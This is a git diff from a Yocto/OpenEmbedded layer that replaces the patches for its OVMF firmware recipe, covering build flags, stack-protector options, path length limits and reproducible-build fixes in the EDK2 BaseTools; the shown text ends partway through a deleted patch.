index 070b0ac5a6..0000000000
--- a/meta/recipes-core/ovmf/ovmf/0003-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 2320650c6d381b914fe91b2dedaa5870279a8bcf Mon Sep 17 00:00:00 2001
-From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
-Date: Fri, 26 Jul 2019 17:34:26 -0400
-Subject: [PATCH] BaseTools: makefile: adjust to build in under bitbake
-
-Prepend the build flags with those of bitbake. This is to build
-using the bitbake native sysroot include and library directories.
-
-Signed-off-by: Ricardo Neri <ricardo.neri@linux.intel.com>
-Upstream-Status: Pending
----
- BaseTools/Source/C/Makefiles/header.makefile | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-Index: git/BaseTools/Source/C/Makefiles/header.makefile
-===================================================================
---- git.orig/BaseTools/Source/C/Makefiles/header.makefile
-+++ git/BaseTools/Source/C/Makefiles/header.makefile
-@@ -62,23 +62,23 @@ $(error Bad HOST_ARCH)
- endif
-
- INCLUDE = $(TOOL_INCLUDE) -I $(MAKEROOT) -I $(MAKEROOT)/Include/Common -I $(MAKEROOT)/Include/ -I $(MAKEROOT)/Include/IndustryStandard -I $(MAKEROOT)/Common/ -I .. -I . $(ARCH_INCLUDE)
--BUILD_CPPFLAGS = $(INCLUDE)
-+BUILD_CPPFLAGS += $(INCLUDE)
-
- # keep EXTRA_OPTFLAGS last
- BUILD_OPTFLAGS = -O2 $(EXTRA_OPTFLAGS)
-
- ifeq ($(DARWIN),Darwin)
- # assume clang or clang compatible flags on OS X
--BUILD_CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
-+BUILD_CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
- -Wno-deprecated-declarations -Wno-self-assign -Wno-unused-result -nostdlib -g
- else
--BUILD_CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
-+BUILD_CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
- -fno-delete-null-pointer-checks -Wall -Werror \
- -Wno-deprecated-declarations -Wno-stringop-truncation -Wno-restrict \
- -Wno-unused-result -nostdlib -g
- endif
--BUILD_LFLAGS =
--BUILD_CXXFLAGS = -Wno-unused-result
-+BUILD_LFLAGS = $(LDFLAGS)
-+BUILD_CXXFLAGS += -Wno-unused-result
-
- ifeq ($(HOST_ARCH), IA32)
- #
---
-2.20.1
-
diff --git a/meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch b/meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch
new file mode 100644
index 0000000000..d710429899
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch
@@ -0,0 +1,45 @@
+From 67267d8cc31df16a3608cad1a17c5f1470ef8bbd Mon Sep 17 00:00:00 2001
+From: Steve Langasek <steve.langasek@ubuntu.com>
+Date: Sat, 10 Jun 2017 01:39:36 -0700
+Subject: [PATCH 3/6] ovmf: Update to latest
+
+Description: pass -fno-stack-protector to all GCC toolchains
+ The upstream build rules inexplicably pass -fno-stack-protector only
+ when building for i386 and amd64. Add this essential argument to the
+ generic rules for gcc 4.4 and later.
+Last-Updated: 2016-04-12
+Upstream-Status: Pending
+---
+ BaseTools/Conf/tools_def.template | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/BaseTools/Conf/tools_def.template b/BaseTools/Conf/tools_def.template
+index 498696e583..36241b6ede 100755
+--- a/BaseTools/Conf/tools_def.template
++++ b/BaseTools/Conf/tools_def.template
+@@ -1897,10 +1897,10 @@ DEFINE GCC_RISCV64_RC_FLAGS = -I binary -O elf64-littleriscv -B riscv
+ # GCC Build Flag for included header file list generation
+ DEFINE GCC_DEPS_FLAGS = -MMD -MF $@.deps
+
+-DEFINE GCC48_ALL_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -ffunction-sections -fdata-sections -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
++DEFINE GCC48_ALL_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -ffunction-sections -fdata-sections -fno-stack-protector -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
+ DEFINE GCC48_IA32_X64_DLINK_COMMON = -nostdlib -Wl,-n,-q,--gc-sections -z common-page-size=0x20
+-DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -fno-stack-protector -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
+-DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 -fno-stack-protector "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
++DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
++DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
+ DEFINE GCC48_IA32_X64_ASLDLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,ReferenceAcpiTable -u ReferenceAcpiTable
+ DEFINE GCC48_IA32_X64_DLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,$(IMAGE_ENTRY_POINT) -u $(IMAGE_ENTRY_POINT) -Wl,-Map,$(DEST_DIR_DEBUG)/$(BASE_NAME).map,--whole-archive
+ DEFINE GCC48_IA32_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x220 DEF(GCC_DLINK2_FLAGS_COMMON)
+@@ -1909,7 +1909,7 @@ DEFINE GCC48_X64_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x228 DEF
+ DEFINE GCC48_ASM_FLAGS = DEF(GCC_ASM_FLAGS)
+ DEFINE GCC48_ARM_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
+ DEFINE GCC48_AARCH64_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
+-DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -fstack-protector -mword-relocations
++DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -mword-relocations
+ DEFINE GCC48_ARM_CC_XIPFLAGS = DEF(GCC_ARM_CC_XIPFLAGS)
+ DEFINE GCC48_AARCH64_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) -mcmodel=large DEF(GCC_AARCH64_CC_FLAGS)
+ DEFINE GCC48_AARCH64_CC_XIPFLAGS = DEF(GCC_AARCH64_CC_XIPFLAGS)
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf/0004-ovmf-enable-long-path-file.patch b/meta/recipes-core/ovmf/ovmf/0004-ovmf-enable-long-path-file.patch
deleted file mode 100644
index d954fbe314..0000000000
--- a/meta/recipes-core/ovmf/ovmf/0004-ovmf-enable-long-path-file.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-From 032fc6b1f7691bd537fd2a6bd13821fcf3c45e64 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Mon, 11 Sep 2017 02:21:55 -0400
-Subject: [PATCH] ovmf: enable long path file
-
-Upstream-Status: Pending
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- BaseTools/Source/C/Common/CommonLib.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/BaseTools/Source/C/Common/CommonLib.h b/BaseTools/Source/C/Common/CommonLib.h
-index 2041b89e2d..8116aa2e35 100644
---- a/BaseTools/Source/C/Common/CommonLib.h
-+++ b/BaseTools/Source/C/Common/CommonLib.h
-@@ -22 +22 @@ WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
--#define MAX_LONG_FILE_PATH 500
-+#define MAX_LONG_FILE_PATH 1023
diff --git a/meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch b/meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch
new file mode 100644
index 0000000000..9e345f4dda
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch
@@ -0,0 +1,104 @@
+From 860bb1979f3578bb83257076fe0f3bd33f9d68bf Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 14 Jun 2021 19:56:28 +0200
+Subject: [PATCH 5/6] debug prefix map
+
+We want to pass ${DEBUG_PREFIX_MAP} to gcc commands and also pass in
+ --debug-prefix-map to nasm (we carry a patch to nasm for this). The
+tools definitions file is built by ovmf-native so we need to pass this in
+at target build time when we know the right values so we use the environment.
+
+By using determininistc file paths during the ovmf build, it removes the
+opportunitity for gcc/ld to change the output binaries due to path lengths
+overflowing section sizes and causing small changes in the binary output.
+Previously we relied on the stripped output being the same which isn't always
+the case if the size of the debug symbols varies.
+
+Upstream-Status: Submitted [https://github.com/tianocore/edk2/pull/2202]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ BaseTools/Conf/tools_def.template | 18 +++++++++---------
+ 1 file changed, 9 insertions(+), 9 deletions(-)
+
+diff --git a/BaseTools/Conf/tools_def.template b/BaseTools/Conf/tools_def.template
+index 36241b6ede..947fbf2e8d 100755
+--- a/BaseTools/Conf/tools_def.template
++++ b/BaseTools/Conf/tools_def.template
+@@ -1863,7 +1863,7 @@ NOOPT_*_*_OBJCOPY_ADDDEBUGFLAG = --add-gnu-debuglink=$(DEBUG_DIR)/$(MODULE_N
+ *_*_*_DTCPP_PATH = DEF(DTCPP_BIN)
+ *_*_*_DTC_PATH = DEF(DTC_BIN)
+
+-DEFINE GCC_ALL_CC_FLAGS = -g -Os -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -include AutoGen.h -fno-common
++DEFINE GCC_ALL_CC_FLAGS = -g -Os -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -include AutoGen.h -fno-common ENV(GCC_PREFIX_MAP)
+ DEFINE GCC_IA32_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -m32 -malign-double -freorder-blocks -freorder-blocks-and-partition -O2 -mno-stack-arg-probe
+ DEFINE GCC_X64_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -mno-red-zone -Wno-address -mno-stack-arg-probe
+ DEFINE GCC_ARM_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -mlittle-endian -mabi=aapcs -fno-short-enums -funsigned-char -ffunction-sections -fdata-sections -fomit-frame-pointer -Wno-address -mthumb -mfloat-abi=soft -fno-pic -fno-pie
+@@ -1881,8 +1881,8 @@ DEFINE GCC_IA32_X64_ASLDLINK_FLAGS = DEF(GCC_IA32_X64_DLINK_COMMON) --entry _Ref
+ DEFINE GCC_ARM_ASLDLINK_FLAGS = DEF(GCC_ARM_DLINK_FLAGS) -Wl,--entry,ReferenceAcpiTable -u $(IMAGE_ENTRY_POINT) DEF(GCC_ARM_AARCH64_ASLDLINK_FLAGS)
+ DEFINE GCC_AARCH64_ASLDLINK_FLAGS = DEF(GCC_AARCH64_DLINK_FLAGS) -Wl,--entry,ReferenceAcpiTable -u $(IMAGE_ENTRY_POINT) DEF(GCC_ARM_AARCH64_ASLDLINK_FLAGS)
+ DEFINE GCC_IA32_X64_DLINK_FLAGS = DEF(GCC_IA32_X64_DLINK_COMMON) --entry _$(IMAGE_ENTRY_POINT) --file-alignment 0x20 --section-alignment 0x20 -Map $(DEST_DIR_DEBUG)/$(BASE_NAME).map
+-DEFINE GCC_ASM_FLAGS = -c -x assembler -imacros AutoGen.h
+-DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include AutoGen.h
++DEFINE GCC_ASM_FLAGS = -c -x assembler -imacros AutoGen.h ENV(GCC_PREFIX_MAP)
++DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include AutoGen.h ENV(GCC_PREFIX_MAP)
+ DEFINE GCC_VFRPP_FLAGS = -x c -E -P -DVFRCOMPILE --include $(MODULE_NAME)StrDefs.h
+ DEFINE GCC_ASLPP_FLAGS = -x c -E -include AutoGen.h
+ DEFINE GCC_ASLCC_FLAGS = -x c
+@@ -2027,7 +2027,7 @@ DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include A
+ *_GCC48_IA32_DLINK2_FLAGS = DEF(GCC48_IA32_DLINK2_FLAGS)
+ *_GCC48_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC48_IA32_OBJCOPY_FLAGS =
+-*_GCC48_IA32_NASM_FLAGS = -f elf32
++*_GCC48_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Os
+ RELEASE_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Os -Wno-unused-but-set-variable
+@@ -2055,7 +2055,7 @@ RELEASE_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Os -Wno-unused-but
+ *_GCC48_X64_DLINK2_FLAGS = DEF(GCC48_X64_DLINK2_FLAGS)
+ *_GCC48_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC48_X64_OBJCOPY_FLAGS =
+-*_GCC48_X64_NASM_FLAGS = -f elf64
++*_GCC48_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC48_X64_CC_FLAGS = DEF(GCC48_X64_CC_FLAGS) -Os
+ RELEASE_GCC48_X64_CC_FLAGS = DEF(GCC48_X64_CC_FLAGS) -Os -Wno-unused-but-set-variable
+@@ -2167,7 +2167,7 @@ RELEASE_GCC48_AARCH64_CC_FLAGS = DEF(GCC48_AARCH64_CC_FLAGS) -Wno-unused-but-s
+ *_GCC49_IA32_DLINK2_FLAGS = DEF(GCC49_IA32_DLINK2_FLAGS)
+ *_GCC49_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC49_IA32_OBJCOPY_FLAGS =
+-*_GCC49_IA32_NASM_FLAGS = -f elf32
++*_GCC49_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Os
+ RELEASE_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Os -Wno-unused-but-set-variable -Wno-unused-const-variable
+@@ -2195,7 +2195,7 @@ RELEASE_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Os -Wno-unused-but
+ *_GCC49_X64_DLINK2_FLAGS = DEF(GCC49_X64_DLINK2_FLAGS)
+ *_GCC49_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC49_X64_OBJCOPY_FLAGS =
+-*_GCC49_X64_NASM_FLAGS = -f elf64
++*_GCC49_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC49_X64_CC_FLAGS = DEF(GCC49_X64_CC_FLAGS) -Os
+ RELEASE_GCC49_X64_CC_FLAGS = DEF(GCC49_X64_CC_FLAGS) -Os -Wno-unused-but-set-variable -Wno-unused-const-variable
+@@ -2313,7 +2313,7 @@ RELEASE_GCC49_AARCH64_DLINK_XIPFLAGS = -z common-page-size=0x20
+ *_GCC5_IA32_DLINK2_FLAGS = DEF(GCC5_IA32_DLINK2_FLAGS) -no-pie
+ *_GCC5_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC5_IA32_OBJCOPY_FLAGS =
+-*_GCC5_IA32_NASM_FLAGS = -f elf32
++*_GCC5_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC5_IA32_CC_FLAGS = DEF(GCC5_IA32_CC_FLAGS) -flto -Os
+ DEBUG_GCC5_IA32_DLINK_FLAGS = DEF(GCC5_IA32_X64_DLINK_FLAGS) -flto -Os -Wl,-m,elf_i386,--oformat=elf32-i386
+@@ -2345,7 +2345,7 @@ RELEASE_GCC5_IA32_DLINK_FLAGS = DEF(GCC5_IA32_X64_DLINK_FLAGS) -flto -Os -Wl,
+ *_GCC5_X64_DLINK2_FLAGS = DEF(GCC5_X64_DLINK2_FLAGS)
+ *_GCC5_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC5_X64_OBJCOPY_FLAGS =
+-*_GCC5_X64_NASM_FLAGS = -f elf64
++*_GCC5_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC5_X64_CC_FLAGS = DEF(GCC5_X64_CC_FLAGS) -flto -DUSING_LTO -Os
+ DEBUG_GCC5_X64_DLINK_FLAGS = DEF(GCC5_X64_DLINK_FLAGS) -flto -Os
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf/0006-reproducible.patch b/meta/recipes-core/ovmf/ovmf/0006-reproducible.patch
new file mode 100644
index 0000000000..846f408012
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0006-reproducible.patch
@@ -0,0 +1,180 @@
+From 27ed9962f5cb3afcc44d6c96c53277132a999712 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 14 Jun 2021 19:57:30 +0200
+Subject: [PATCH 6/6] reproducible
+
+This patch fixes various things which make the build more reproducible. Some changes
+here only change intermediate artefacts but that means when you have two build trees
+giving differing results, the differences can be isolated more easily. The issues here
+usually become apparent with longer paths.
+
+This was all debugged with:
+TMPDIR = "${TOPDIR}/tmp"
+vs.
+TMPDIR = "${TOPDIR}/tmp-inital-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath"
+
+The patch specifically:
+
+ * Sorts output in GNUmakefile
+ * Always generates indirect flags files used to avoid pathlength issues else the
+ compile commands suddenly change when using longer paths
+ * Sorts the AutoGenTimeStamp file contents
+ * Makes the TargetDescBlock objects from BuildEngine sortable to allow the makefile fix
+ * Fix ElfConvert within GenFw so that only the basename of the binary being converted
+ is used, else the output from "GenFw XXX.bin" differs from "GenFw /long/path/XXX.bin"
+ with sufficiently long paths
+
+Upstream-Status: Submitted [https://github.com/tianocore/edk2/pull/2176]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ BaseTools/Source/C/GenFw/Elf64Convert.c | 8 ++++---
+ .../Source/Python/AutoGen/BuildEngine.py | 3 +++
+ BaseTools/Source/Python/AutoGen/GenMake.py | 24 +++++++++----------
+ .../Source/Python/AutoGen/ModuleAutoGen.py | 5 +++-
+ 4 files changed, 24 insertions(+), 16 deletions(-)
+
+diff --git a/BaseTools/Source/C/GenFw/Elf64Convert.c b/BaseTools/Source/C/GenFw/Elf64Convert.c
+index d097db8632..a87ae6f3d0 100644
+--- a/BaseTools/Source/C/GenFw/Elf64Convert.c
++++ b/BaseTools/Source/C/GenFw/Elf64Convert.c
+@@ -14,6 +14,8 @@ SPDX-License-Identifier: BSD-2-Clause-Patent
+ #ifndef __GNUC__
+ #include <windows.h>
+ #include <io.h>
++#else
++#define _GNU_SOURCE
+ #endif
+ #include <assert.h>
+ #include <stdio.h>
+@@ -769,7 +771,7 @@ ScanSections64 (
+ }
+ mCoffOffset = mDebugOffset + sizeof(EFI_IMAGE_DEBUG_DIRECTORY_ENTRY) +
+ sizeof(EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY) +
+- strlen(mInImageName) + 1;
++ strlen(basename(mInImageName)) + 1;
+
+ mCoffOffset = CoffAlign(mCoffOffset);
+ if (SectionCount == 0) {
+@@ -1608,7 +1610,7 @@ WriteDebug64 (
+ EFI_IMAGE_DEBUG_DIRECTORY_ENTRY *Dir;
+ EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY *Nb10;
+
+- Len = strlen(mInImageName) + 1;
++ Len = strlen(basename(mInImageName)) + 1;
+
+ Dir = (EFI_IMAGE_DEBUG_DIRECTORY_ENTRY*)(mCoffFile + mDebugOffset);
+ Dir->Type = EFI_IMAGE_DEBUG_TYPE_CODEVIEW;
+@@ -1618,7 +1620,7 @@ WriteDebug64 (
+
+ Nb10 = (EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY*)(Dir + 1);
+ Nb10->Signature = CODEVIEW_SIGNATURE_NB10;
+- strcpy ((char *)(Nb10 + 1), mInImageName);
++ strcpy ((char *)(Nb10 + 1), basename(mInImageName));
+
+
+ NtHdr = (EFI_IMAGE_OPTIONAL_HEADER_UNION *)(mCoffFile + mNtHdrOffset);
+diff --git a/BaseTools/Source/Python/AutoGen/BuildEngine.py b/BaseTools/Source/Python/AutoGen/BuildEngine.py
+index 722fead75a..8f1c236970 100644
+--- a/BaseTools/Source/Python/AutoGen/BuildEngine.py
++++ b/BaseTools/Source/Python/AutoGen/BuildEngine.py
+@@ -70,6 +70,9 @@ class TargetDescBlock(object):
+ else:
+ return str(Other) == self.Target.Path
+
++ def __lt__(self, other):
++ return str(self) < str(other)
++
+ def AddInput(self, Input):
+ if Input not in self.Inputs:
+ self.Inputs.append(Input)
+diff --git a/BaseTools/Source/Python/AutoGen/GenMake.py b/BaseTools/Source/Python/AutoGen/GenMake.py
+index 961b2ab1c3..23c1592025 100755
+--- a/BaseTools/Source/Python/AutoGen/GenMake.py
++++ b/BaseTools/Source/Python/AutoGen/GenMake.py
+@@ -575,7 +575,7 @@ cleanlib:
+ os.remove(RespFileList)
+
+ # convert source files and binary files to build targets
+- self.ResultFileList = [str(T.Target) for T in MyAgo.CodaTargetList]
++ self.ResultFileList = sorted([str(T.Target) for T in MyAgo.CodaTargetList])
+ if len(self.ResultFileList) == 0 and len(MyAgo.SourceFileList) != 0:
+ EdkLogger.error("build", AUTOGEN_ERROR, "Nothing to build",
+ ExtraData="[%s]" % str(MyAgo))
+@@ -726,7 +726,7 @@ cleanlib:
+ OutputFile = ''
+ DepsFileList = []
+
+- for Cmd in self.GenFfsList:
++ for Cmd in sorted(self.GenFfsList):
+ if Cmd[2]:
+ for CopyCmd in Cmd[2]:
+ Src, Dst = CopyCmd
+@@ -759,7 +759,7 @@ cleanlib:
+ self.BuildTargetList.append('\t%s' % CmdString)
+
+ self.ParseSecCmd(DepsFileList, Cmd[1])
+- for SecOutputFile, SecDepsFile, SecCmd in self.FfsOutputFileList :
++ for SecOutputFile, SecDepsFile, SecCmd in sorted(self.FfsOutputFileList):
+ self.BuildTargetList.append('%s : %s' % (self.ReplaceMacro(SecOutputFile), self.ReplaceMacro(SecDepsFile)))
+ self.BuildTargetList.append('\t%s' % self.ReplaceMacro(SecCmd))
+ self.FfsOutputFileList = []
+@@ -798,13 +798,13 @@ cleanlib:
+
+ def CommandExceedLimit(self):
+ FlagDict = {
+- 'CC' : { 'Macro' : '$(CC_FLAGS)', 'Value' : False},
+- 'PP' : { 'Macro' : '$(PP_FLAGS)', 'Value' : False},
+- 'APP' : { 'Macro' : '$(APP_FLAGS)', 'Value' : False},
+- 'ASLPP' : { 'Macro' : '$(ASLPP_FLAGS)', 'Value' : False},
+- 'VFRPP' : { 'Macro' : '$(VFRPP_FLAGS)', 'Value' : False},
+- 'ASM' : { 'Macro' : '$(ASM_FLAGS)', 'Value' : False},
+- 'ASLCC' : { 'Macro' : '$(ASLCC_FLAGS)', 'Value' : False},
++ 'CC' : { 'Macro' : '$(CC_FLAGS)', 'Value' : True},
++ 'PP' : { 'Macro' : '$(PP_FLAGS)', 'Value' : True},
++ 'APP' : { 'Macro' : '$(APP_FLAGS)', 'Value' : True},
++ 'ASLPP' : { 'Macro' : '$(ASLPP_FLAGS)', 'Value' : True},
++ 'VFRPP' : { 'Macro' : '$(VFRPP_FLAGS)', 'Value' : True},
++ 'ASM' : { 'Macro' : '$(ASM_FLAGS)', 'Value' : True},
++ 'ASLCC' : { 'Macro' : '$(ASLCC_FLAGS)', 'Value' : True},
+ }
+
+ RespDict = {}
+@@ -1007,9 +1007,9 @@ cleanlib:
+ if not self.ObjTargetDict.get(T.Target.SubDir):
+ self.ObjTargetDict[T.Target.SubDir] = set()
+ self.ObjTargetDict[T.Target.SubDir].add(NewFile)
+- for Type in self._AutoGenObject.Targets:
++ for Type in sorted(self._AutoGenObject.Targets):
+ resp_file_number = 0
+- for T in self._AutoGenObject.Targets[Type]:
++ for T in sorted(self._AutoGenObject.Targets[Type]):
+ # Generate related macros if needed
+ if T.GenFileListMacro and T.FileListMacro not in self.FileListMacros:
+ self.FileListMacros[T.FileListMacro] = []
+diff --git a/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py b/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
+index d70b0d7ae8..25dca9a6df 100755
+--- a/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
++++ b/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
+@@ -1484,6 +1484,9 @@ class ModuleAutoGen(AutoGen):
+ for File in Files:
+ if File.lower().endswith('.pdb'):
+ AsBuiltInfDict['binary_item'].append('DISPOSABLE|' + File)
++
++ AsBuiltInfDict['binary_item'] = sorted(AsBuiltInfDict['binary_item'])
++
+ HeaderComments = self.Module.HeaderComments
+ StartPos = 0
+ for Index in range(len(HeaderComments)):
+@@ -1759,7 +1762,7 @@ class ModuleAutoGen(AutoGen):
+ if os.path.exists (self.TimeStampPath):
+ os.remove (self.TimeStampPath)
+
+- SaveFileOnChange(self.TimeStampPath, "\n".join(FileSet), False)
++ SaveFileOnChange(self.TimeStampPath, "\n".join(sorted(FileSet)), False)
+
+ # Ignore generating makefile when it is a binary module
+ if self.IsBinaryModule:
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf/VfrCompile-increase-path-length-limit.patch b/meta/recipes-core/ovmf/ovmf/VfrCompile-increase-path-length-limit.patch
deleted file mode 100644
index bb12d8beba..0000000000
--- a/meta/recipes-core/ovmf/ovmf/VfrCompile-increase-path-length-limit.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From c7722d10c7bcf6be0adcf54abb1d406599dd7914 Mon Sep 17 00:00:00 2001
-From: Patrick Ohly <patrick.ohly@intel.com>
-Date: Fri, 24 Feb 2017 01:40:02 +0100
-Subject: [PATCH] VfrCompile: increase path length limit
-
-The VfrCompile tool has a hard-coded maximum length for path names
-which turned out to be too small by around 20 characters in the Yocto
-autobuilder setup. Increasing the maximum by a factor of 4 is
-relatively easy and makes the problem less likely.
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
----
- BaseTools/Source/C/VfrCompile/EfiVfr.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/BaseTools/Source/C/VfrCompile/EfiVfr.h b/BaseTools/Source/C/VfrCompile/EfiVfr.h
-index d187902..9ad4a7b 100644
---- a/BaseTools/Source/C/VfrCompile/EfiVfr.h
-+++ b/BaseTools/Source/C/VfrCompile/EfiVfr.h
-@@ -19,7 +19,7 @@ WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
- #include "Common/UefiInternalFormRepresentation.h"
- #include "Common/MdeModuleHii.h"
-
--#define MAX_PATH 255
-+#define MAX_PATH 1023
- #define MAX_VFR_LINE_LEN 4096
-
- #define EFI_IFR_MAX_LENGTH 0xFF
---
-2.1.4
-
diff --git a/meta/recipes-core/ovmf/ovmf/no-stack-protector-all-archs.patch b/meta/recipes-core/ovmf/ovmf/no-stack-protector-all-archs.patch
deleted file mode 100644
index 1b65348e84..0000000000
--- a/meta/recipes-core/ovmf/ovmf/no-stack-protector-all-archs.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Author: Steve Langasek <steve.langasek@ubuntu.com>
-Description: pass -fno-stack-protector to all GCC toolchains
- The upstream build rules inexplicably pass -fno-stack-protector only
- when building for i386 and amd64. Add this essential argument to the
- generic rules for gcc 4.4 and later.
-Last-Updated: 2016-04-12
-Upstream-Status: Pending
-Index: git/BaseTools/Conf/tools_def.template
-===================================================================
---- git.orig/BaseTools/Conf/tools_def.template
-+++ git/BaseTools/Conf/tools_def.template
-@@ -1736,10 +1736,10 @@ DEFINE GCC_X64_RC_FLAGS = -I binary -O elf64-x86-64 -B i386
- DEFINE GCC_ARM_RC_FLAGS = -I binary -O elf32-littlearm -B arm --rename-section .data=.hii
- DEFINE GCC_AARCH64_RC_FLAGS = -I binary -O elf64-littleaarch64 -B aarch64 --rename-section .data=.hii
-
--DEFINE GCC48_ALL_CC_FLAGS = -g -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -ffunction-sections -fdata-sections -include AutoGen.h -fno-common -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
